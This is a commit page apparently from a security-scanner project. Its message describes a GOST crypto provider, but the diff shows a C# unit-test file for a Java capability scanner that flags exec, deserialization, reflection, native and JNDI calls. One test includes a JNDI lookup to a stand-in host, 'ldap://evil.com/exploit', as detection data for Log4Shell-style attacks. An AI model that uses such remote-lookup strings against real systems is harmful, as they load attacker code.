feat: Implement Wine CSP HTTP provider for GOST cryptographic operations
Some checks failed
AOC Guard CI / aoc-guard (push) Has been cancelled
AOC Guard CI / aoc-verify (push) Has been cancelled
Docs CI / lint-and-preview (push) Has been cancelled
Scanner Analyzers / Discover Analyzers (push) Has been cancelled
Scanner Analyzers / Build Analyzers (push) Has been cancelled
Scanner Analyzers / Test Language Analyzers (push) Has been cancelled
Scanner Analyzers / Validate Test Fixtures (push) Has been cancelled
Scanner Analyzers / Verify Deterministic Output (push) Has been cancelled
Signals CI & Image / signals-ci (push) Has been cancelled
Some checks failed
AOC Guard CI / aoc-guard (push) Has been cancelled
AOC Guard CI / aoc-verify (push) Has been cancelled
Docs CI / lint-and-preview (push) Has been cancelled
Scanner Analyzers / Discover Analyzers (push) Has been cancelled
Scanner Analyzers / Build Analyzers (push) Has been cancelled
Scanner Analyzers / Test Language Analyzers (push) Has been cancelled
Scanner Analyzers / Validate Test Fixtures (push) Has been cancelled
Scanner Analyzers / Verify Deterministic Output (push) Has been cancelled
Signals CI & Image / signals-ci (push) Has been cancelled
- Added WineCspHttpProvider class to interface with Wine-hosted CryptoPro CSP. - Implemented ICryptoProvider, ICryptoProviderDiagnostics, and IDisposable interfaces. - Introduced WineCspHttpSigner and WineCspHttpHasher for signing and hashing operations. - Created WineCspProviderOptions for configuration settings including service URL and key options. - Developed CryptoProGostSigningService to handle GOST signing operations and key management. - Implemented HTTP service for the Wine CSP with endpoints for signing, verification, and hashing. - Added Swagger documentation for API endpoints. - Included health checks and error handling for service availability. - Established DTOs for request and response models in the service.
This commit is contained in:
@@ -0,0 +1,786 @@
|
||||
using StellaOps.Scanner.Analyzers.Lang.Java.Internal.Capabilities;
|
||||
|
||||
namespace StellaOps.Scanner.Analyzers.Lang.Java.Tests.Internal;
|
||||
|
||||
/// <summary>
|
||||
/// Tests for <see cref="JavaCapabilityScanner"/>.
|
||||
/// </summary>
|
||||
public sealed class JavaCapabilityScannerTests
|
||||
{
|
||||
private const string TestFile = "Test.java";
|
||||
|
||||
#region ScanFile - General Tests
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_NullContent_ReturnsEmpty()
|
||||
{
|
||||
var result = JavaCapabilityScanner.ScanFile(null!, TestFile).ToList();
|
||||
|
||||
Assert.Empty(result);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_EmptyContent_ReturnsEmpty()
|
||||
{
|
||||
var result = JavaCapabilityScanner.ScanFile("", TestFile).ToList();
|
||||
|
||||
Assert.Empty(result);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_WhitespaceContent_ReturnsEmpty()
|
||||
{
|
||||
var result = JavaCapabilityScanner.ScanFile(" \n\t\n ", TestFile).ToList();
|
||||
|
||||
Assert.Empty(result);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_NoPatterns_ReturnsEmpty()
|
||||
{
|
||||
const string code = @"
|
||||
public class Test {
|
||||
public static void main(String[] args) {
|
||||
System.out.println(""Hello"");
|
||||
}
|
||||
}";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.Empty(result);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_NormalizesBackslashesInPath()
|
||||
{
|
||||
const string code = @"Runtime.getRuntime().exec(""cmd"");";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, @"C:\src\Test.java").ToList();
|
||||
|
||||
Assert.Single(result);
|
||||
Assert.Equal("C:/src/Test.java", result[0].SourceFile);
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region ScanFile - Comment Stripping
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_IgnoresSingleLineComments()
|
||||
{
|
||||
const string code = @"
|
||||
// Runtime.getRuntime().exec(""cmd"");
|
||||
public void method() { }";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.Empty(result);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_IgnoresMultiLineComments()
|
||||
{
|
||||
const string code = @"
|
||||
/*
|
||||
Runtime.getRuntime().exec(""cmd"");
|
||||
new ProcessBuilder(""ls"");
|
||||
*/
|
||||
public void method() { }";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.Empty(result);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_IgnoresJavadocComments()
|
||||
{
|
||||
const string code = @"
|
||||
/**
|
||||
* Runtime.getRuntime().exec(""cmd"");
|
||||
*/
|
||||
public void method() { }";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.Empty(result);
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region ScanFile - Exec Patterns
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_DetectsRuntimeExec()
|
||||
{
|
||||
const string code = @"Runtime.getRuntime().exec(""ls -la"");";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.Single(result);
|
||||
Assert.Equal(CapabilityKind.Exec, result[0].Kind);
|
||||
Assert.Equal("Runtime.exec", result[0].Pattern);
|
||||
Assert.Equal(CapabilityRisk.Critical, result[0].Risk);
|
||||
Assert.Equal(1.0f, result[0].Confidence);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_DetectsNewProcessBuilder()
|
||||
{
|
||||
const string code = @"ProcessBuilder pb = new ProcessBuilder(""ls"", ""-la"");";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.Single(result);
|
||||
Assert.Equal(CapabilityKind.Exec, result[0].Kind);
|
||||
Assert.Equal("ProcessBuilder", result[0].Pattern);
|
||||
Assert.Equal(CapabilityRisk.Critical, result[0].Risk);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_DetectsProcessBuilderStart()
|
||||
{
|
||||
const string code = @"Process p = pb.start();";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.Single(result);
|
||||
Assert.Equal(CapabilityKind.Exec, result[0].Kind);
|
||||
Assert.Equal("ProcessBuilder.start", result[0].Pattern);
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region ScanFile - Filesystem Patterns
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_DetectsFileInputStream()
|
||||
{
|
||||
const string code = @"InputStream is = new FileInputStream(""file.txt"");";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.Single(result);
|
||||
Assert.Equal(CapabilityKind.Filesystem, result[0].Kind);
|
||||
Assert.Equal("FileInputStream", result[0].Pattern);
|
||||
Assert.Equal(CapabilityRisk.Medium, result[0].Risk);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_DetectsFileOutputStream()
|
||||
{
|
||||
const string code = @"OutputStream os = new FileOutputStream(""file.txt"");";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.Single(result);
|
||||
Assert.Equal(CapabilityKind.Filesystem, result[0].Kind);
|
||||
Assert.Equal("FileOutputStream", result[0].Pattern);
|
||||
Assert.Equal(CapabilityRisk.High, result[0].Risk);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_DetectsFilesRead()
|
||||
{
|
||||
const string code = @"byte[] data = Files.readAllBytes(path);";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.Single(result);
|
||||
Assert.Equal(CapabilityKind.Filesystem, result[0].Kind);
|
||||
Assert.Equal("Files.*", result[0].Pattern);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_DetectsFileDelete()
|
||||
{
|
||||
const string code = @"file.delete();";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.Single(result);
|
||||
Assert.Equal(CapabilityKind.Filesystem, result[0].Kind);
|
||||
Assert.Equal("File.delete", result[0].Pattern);
|
||||
Assert.Equal(CapabilityRisk.High, result[0].Risk);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_DetectsFileSetExecutable()
|
||||
{
|
||||
const string code = @"file.setExecutable(true);";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.Single(result);
|
||||
Assert.Equal(CapabilityKind.Filesystem, result[0].Kind);
|
||||
Assert.Equal("File.setExecutable", result[0].Pattern);
|
||||
Assert.Equal(CapabilityRisk.High, result[0].Risk);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_DetectsRandomAccessFile()
|
||||
{
|
||||
const string code = @"RandomAccessFile raf = new RandomAccessFile(""file.bin"", ""rw"");";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.Single(result);
|
||||
Assert.Equal(CapabilityKind.Filesystem, result[0].Kind);
|
||||
Assert.Equal("RandomAccessFile", result[0].Pattern);
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region ScanFile - Network Patterns
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_DetectsNewSocket()
|
||||
{
|
||||
const string code = @"Socket socket = new Socket(""localhost"", 8080);";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.Single(result);
|
||||
Assert.Equal(CapabilityKind.Network, result[0].Kind);
|
||||
Assert.Equal("Socket", result[0].Pattern);
|
||||
Assert.Equal(CapabilityRisk.Medium, result[0].Risk);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_DetectsNewServerSocket()
|
||||
{
|
||||
const string code = @"ServerSocket ss = new ServerSocket(8080);";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.Single(result);
|
||||
Assert.Equal(CapabilityKind.Network, result[0].Kind);
|
||||
Assert.Equal("ServerSocket", result[0].Pattern);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_DetectsUrlOpenConnection()
|
||||
{
|
||||
const string code = @"HttpURLConnection conn = (HttpURLConnection) url.openConnection();";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.True(result.Count >= 1);
|
||||
Assert.Contains(result, r => r.Kind == CapabilityKind.Network);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_DetectsHttpClientBuilder()
|
||||
{
|
||||
const string code = @"HttpClient client = HttpClient.newBuilder().build();";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.Single(result);
|
||||
Assert.Equal(CapabilityKind.Network, result[0].Kind);
|
||||
Assert.Equal("HttpClient.newBuilder", result[0].Pattern);
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region ScanFile - Environment Patterns
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_DetectsSystemGetenv()
|
||||
{
|
||||
const string code = @"String path = System.getenv(""PATH"");";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.Single(result);
|
||||
Assert.Equal(CapabilityKind.Environment, result[0].Kind);
|
||||
Assert.Equal("System.getenv", result[0].Pattern);
|
||||
Assert.Equal(CapabilityRisk.Medium, result[0].Risk);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_DetectsSystemGetProperty()
|
||||
{
|
||||
const string code = @"String home = System.getProperty(""user.home"");";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.Single(result);
|
||||
Assert.Equal(CapabilityKind.Environment, result[0].Kind);
|
||||
Assert.Equal("System.getProperty", result[0].Pattern);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_DetectsSystemSetProperty()
|
||||
{
|
||||
const string code = @"System.setProperty(""my.prop"", ""value"");";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.Single(result);
|
||||
Assert.Equal(CapabilityKind.Environment, result[0].Kind);
|
||||
Assert.Equal("System.setProperty", result[0].Pattern);
|
||||
Assert.Equal(CapabilityRisk.High, result[0].Risk);
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region ScanFile - Serialization Patterns (Critical for deserialization attacks)
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_DetectsObjectInputStream()
|
||||
{
|
||||
const string code = @"ObjectInputStream ois = new ObjectInputStream(fis);";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.Single(result);
|
||||
Assert.Equal(CapabilityKind.Serialization, result[0].Kind);
|
||||
Assert.Equal("ObjectInputStream", result[0].Pattern);
|
||||
Assert.Equal(CapabilityRisk.Critical, result[0].Risk);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_DetectsReadObject()
|
||||
{
|
||||
const string code = @"Object obj = ois.readObject();";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.Single(result);
|
||||
Assert.Equal(CapabilityKind.Serialization, result[0].Kind);
|
||||
Assert.Equal("readObject", result[0].Pattern);
|
||||
Assert.Equal(CapabilityRisk.Critical, result[0].Risk);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_DetectsXMLDecoder()
|
||||
{
|
||||
const string code = @"XMLDecoder decoder = new XMLDecoder(new FileInputStream(""data.xml""));";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.True(result.Count >= 1);
|
||||
Assert.Contains(result, r => r.Pattern == "XMLDecoder" && r.Risk == CapabilityRisk.Critical);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_DetectsXStream()
|
||||
{
|
||||
const string code = @"XStream xstream = new XStream();";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.Single(result);
|
||||
Assert.Equal(CapabilityKind.Serialization, result[0].Kind);
|
||||
Assert.Equal("XStream", result[0].Pattern);
|
||||
Assert.Equal(CapabilityRisk.High, result[0].Risk);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_DetectsXStreamFromXML()
|
||||
{
|
||||
const string code = @"Object obj = xstream.fromXML(xml);";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.Single(result);
|
||||
Assert.Equal(CapabilityKind.Serialization, result[0].Kind);
|
||||
Assert.Equal("XStream.fromXML", result[0].Pattern);
|
||||
Assert.Equal(CapabilityRisk.Critical, result[0].Risk);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_DetectsSnakeYamlLoad()
|
||||
{
|
||||
const string code = @"Object obj = yaml.load(input);";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.Single(result);
|
||||
Assert.Equal(CapabilityKind.Serialization, result[0].Kind);
|
||||
Assert.Equal("Yaml.load", result[0].Pattern);
|
||||
Assert.Equal(CapabilityRisk.Critical, result[0].Risk);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_DetectsJacksonEnableDefaultTyping()
|
||||
{
|
||||
const string code = @"mapper.enableDefaultTyping();";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.Single(result);
|
||||
Assert.Equal(CapabilityKind.Serialization, result[0].Kind);
|
||||
Assert.Equal("Jackson defaultTyping", result[0].Pattern);
|
||||
Assert.Equal(CapabilityRisk.Critical, result[0].Risk);
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region ScanFile - Crypto Patterns
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_DetectsMessageDigest()
|
||||
{
|
||||
const string code = @"MessageDigest md = MessageDigest.getInstance(""SHA-256"");";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.Single(result);
|
||||
Assert.Equal(CapabilityKind.Crypto, result[0].Kind);
|
||||
Assert.Equal("MessageDigest", result[0].Pattern);
|
||||
Assert.Equal(CapabilityRisk.Low, result[0].Risk);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_DetectsCipher()
|
||||
{
|
||||
const string code = @"Cipher cipher = Cipher.getInstance(""AES/CBC/PKCS5Padding"");";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.Single(result);
|
||||
Assert.Equal(CapabilityKind.Crypto, result[0].Kind);
|
||||
Assert.Equal("Cipher", result[0].Pattern);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_DetectsWeakCryptoMD5()
|
||||
{
|
||||
const string code = @"MessageDigest md = MessageDigest.getInstance(""MD5"");";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.True(result.Count >= 1);
|
||||
Assert.Contains(result, r => r.Pattern == "Weak crypto algorithm" && r.Risk == CapabilityRisk.High);
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region ScanFile - Database Patterns
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_DetectsDriverManagerGetConnection()
|
||||
{
|
||||
const string code = @"Connection conn = DriverManager.getConnection(url);";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.Single(result);
|
||||
Assert.Equal(CapabilityKind.Database, result[0].Kind);
|
||||
Assert.Equal("DriverManager.getConnection", result[0].Pattern);
|
||||
Assert.Equal(CapabilityRisk.Medium, result[0].Risk);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_DetectsExecuteQuery()
|
||||
{
|
||||
const string code = @"ResultSet rs = stmt.executeQuery(sql);";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.Single(result);
|
||||
Assert.Equal(CapabilityKind.Database, result[0].Kind);
|
||||
Assert.Equal("Statement.executeQuery", result[0].Pattern);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_DetectsSqlStringConcatenation()
|
||||
{
|
||||
const string code = @"String sql = ""SELECT * FROM users WHERE id="" + userId;";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.Single(result);
|
||||
Assert.Equal(CapabilityKind.Database, result[0].Kind);
|
||||
Assert.Contains("SQL", result[0].Pattern);
|
||||
Assert.Equal(CapabilityRisk.Critical, result[0].Risk);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_DetectsCreateNativeQuery()
|
||||
{
|
||||
const string code = @"Query q = em.createNativeQuery(""SELECT * FROM users"");";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.Single(result);
|
||||
Assert.Equal(CapabilityKind.Database, result[0].Kind);
|
||||
Assert.Equal("Native SQL query", result[0].Pattern);
|
||||
Assert.Equal(CapabilityRisk.High, result[0].Risk);
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region ScanFile - Dynamic Code Patterns
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_DetectsScriptEngineManager()
|
||||
{
|
||||
const string code = @"ScriptEngine engine = new ScriptEngineManager().getEngineByName(""javascript"");";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.True(result.Count >= 1);
|
||||
Assert.Contains(result, r => r.Kind == CapabilityKind.DynamicCode);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_DetectsScriptEngineEval()
|
||||
{
|
||||
const string code = @"Object result = engine.eval(script);";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.Single(result);
|
||||
Assert.Equal(CapabilityKind.DynamicCode, result[0].Kind);
|
||||
Assert.Equal("ScriptEngine.eval", result[0].Pattern);
|
||||
Assert.Equal(CapabilityRisk.Critical, result[0].Risk);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_DetectsSpelExpressionParser()
|
||||
{
|
||||
const string code = @"SpelExpressionParser parser = new SpelExpressionParser();";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.Single(result);
|
||||
Assert.Equal(CapabilityKind.DynamicCode, result[0].Kind);
|
||||
Assert.Equal("SpEL Parser", result[0].Pattern);
|
||||
Assert.Equal(CapabilityRisk.High, result[0].Risk);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_DetectsOgnlGetValue()
|
||||
{
|
||||
const string code = @"Object value = Ognl.getValue(expression, context, root);";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.Single(result);
|
||||
Assert.Equal(CapabilityKind.DynamicCode, result[0].Kind);
|
||||
Assert.Equal("OGNL.getValue", result[0].Pattern);
|
||||
Assert.Equal(CapabilityRisk.Critical, result[0].Risk);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_DetectsJavaCompiler()
|
||||
{
|
||||
const string code = @"JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.Single(result);
|
||||
Assert.Equal(CapabilityKind.DynamicCode, result[0].Kind);
|
||||
Assert.Equal("JavaCompiler", result[0].Pattern);
|
||||
Assert.Equal(CapabilityRisk.Critical, result[0].Risk);
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region ScanFile - Reflection Patterns
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_DetectsClassForName()
|
||||
{
|
||||
const string code = @"Class<?> clazz = Class.forName(""com.example.MyClass"");";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.Single(result);
|
||||
Assert.Equal(CapabilityKind.Reflection, result[0].Kind);
|
||||
Assert.Equal("Class.forName", result[0].Pattern);
|
||||
Assert.Equal(CapabilityRisk.High, result[0].Risk);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_DetectsMethodInvoke()
|
||||
{
|
||||
const string code = @"Object result = Method.invoke(obj, args);";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.Single(result);
|
||||
Assert.Equal(CapabilityKind.Reflection, result[0].Kind);
|
||||
Assert.Equal("Method.invoke", result[0].Pattern);
|
||||
Assert.Equal(CapabilityRisk.High, result[0].Risk);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_DetectsSetAccessibleTrue()
|
||||
{
|
||||
const string code = @"method.setAccessible(true);";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.Single(result);
|
||||
Assert.Equal(CapabilityKind.Reflection, result[0].Kind);
|
||||
Assert.Equal("setAccessible(true)", result[0].Pattern);
|
||||
Assert.Equal(CapabilityRisk.High, result[0].Risk);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_DetectsURLClassLoader()
|
||||
{
|
||||
const string code = @"URLClassLoader loader = new URLClassLoader(urls);";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.Single(result);
|
||||
Assert.Equal(CapabilityKind.Reflection, result[0].Kind);
|
||||
Assert.Equal("URLClassLoader", result[0].Pattern);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_DetectsDefineClass()
|
||||
{
|
||||
const string code = @"Class<?> clazz = loader.defineClass(name, bytes, 0, bytes.length);";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.Single(result);
|
||||
Assert.Equal(CapabilityKind.Reflection, result[0].Kind);
|
||||
Assert.Equal("defineClass", result[0].Pattern);
|
||||
Assert.Equal(CapabilityRisk.Critical, result[0].Risk);
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region ScanFile - Native Code Patterns
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_DetectsSystemLoadLibrary()
|
||||
{
|
||||
const string code = @"System.loadLibrary(""mylib"");";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.Single(result);
|
||||
Assert.Equal(CapabilityKind.NativeCode, result[0].Kind);
|
||||
Assert.Equal("System.loadLibrary", result[0].Pattern);
|
||||
Assert.Equal(CapabilityRisk.Critical, result[0].Risk);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_DetectsSystemLoad()
|
||||
{
|
||||
const string code = @"System.load(""/path/to/libmylib.so"");";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.Single(result);
|
||||
Assert.Equal(CapabilityKind.NativeCode, result[0].Kind);
|
||||
Assert.Equal("System.load", result[0].Pattern);
|
||||
Assert.Equal(CapabilityRisk.Critical, result[0].Risk);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_DetectsNativeMethodDeclaration()
|
||||
{
|
||||
const string code = @"private native int doSomething(byte[] data);";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.Single(result);
|
||||
Assert.Equal(CapabilityKind.NativeCode, result[0].Kind);
|
||||
Assert.Equal("native method", result[0].Pattern);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_DetectsUnsafeGetUnsafe()
|
||||
{
|
||||
const string code = @"Unsafe unsafe = Unsafe.getUnsafe();";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.Single(result);
|
||||
Assert.Equal(CapabilityKind.NativeCode, result[0].Kind);
|
||||
Assert.Equal("Unsafe.getUnsafe", result[0].Pattern);
|
||||
Assert.Equal(CapabilityRisk.Critical, result[0].Risk);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_DetectsUnsafeAllocateInstance()
|
||||
{
|
||||
const string code = @"Object obj = unsafe.allocateInstance(clazz);";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.Single(result);
|
||||
Assert.Equal(CapabilityKind.NativeCode, result[0].Kind);
|
||||
Assert.Equal("Unsafe.allocateInstance", result[0].Pattern);
|
||||
Assert.Equal(CapabilityRisk.Critical, result[0].Risk);
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region ScanFile - JNDI Patterns (Log4Shell attack vector)
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_DetectsInitialContext()
|
||||
{
|
||||
const string code = @"InitialContext ctx = new InitialContext();";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.Single(result);
|
||||
Assert.Equal(CapabilityKind.Other, result[0].Kind); // JNDI is categorized as Other
|
||||
Assert.Equal("InitialContext", result[0].Pattern);
|
||||
Assert.Equal(CapabilityRisk.High, result[0].Risk);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_DetectsInitialContextLookup()
|
||||
{
|
||||
const string code = @"Object obj = InitialContext.lookup(""java:comp/env/jdbc/mydb"");";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.Single(result);
|
||||
Assert.Equal(CapabilityKind.Other, result[0].Kind);
|
||||
Assert.Equal("InitialContext.lookup", result[0].Pattern);
|
||||
Assert.Equal(CapabilityRisk.Critical, result[0].Risk);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_DetectsJndiRemoteLookup()
|
||||
{
|
||||
const string code = @"ctx.lookup(""ldap://evil.com/exploit"");";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.True(result.Count >= 1);
|
||||
Assert.Contains(result, r => r.Pattern == "JNDI remote lookup" && r.Risk == CapabilityRisk.Critical);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ScanFile_DetectsInitialLdapContext()
|
||||
{
|
||||
const string code = @"LdapContext ctx = new InitialLdapContext(env, null);";
|
||||
var result = JavaCapabilityScanner.ScanFile(code, TestFile).ToList();
|
||||
|
||||
Assert.Single(result);
|
||||
Assert.Equal(CapabilityKind.Other, result[0].Kind);
|
||||
Assert.Equal("InitialLdapContext", result[0].Pattern);
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region JavaCapabilityEvidence Tests
|
||||
|
||||
[Fact]
|
||||
public void Evidence_DeduplicationKey_IsCorrect()
|
||||
{
|
||||
var evidence = new JavaCapabilityEvidence(
|
||||
CapabilityKind.Exec,
|
||||
"Test.java",
|
||||
10,
|
||||
"Runtime.exec");
|
||||
|
||||
Assert.Equal("Exec|Test.java|10|Runtime.exec", evidence.DeduplicationKey);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Evidence_ConfidenceIsClamped()
|
||||
{
|
||||
var evidence1 = new JavaCapabilityEvidence(
|
||||
CapabilityKind.Exec, "Test.java", 1, "pattern",
|
||||
confidence: 2.0f);
|
||||
var evidence2 = new JavaCapabilityEvidence(
|
||||
CapabilityKind.Exec, "Test.java", 1, "pattern",
|
||||
confidence: -1.0f);
|
||||
|
||||
Assert.Equal(1.0f, evidence1.Confidence);
|
||||
Assert.Equal(0.0f, evidence2.Confidence);
|
||||
}
|
||||
|
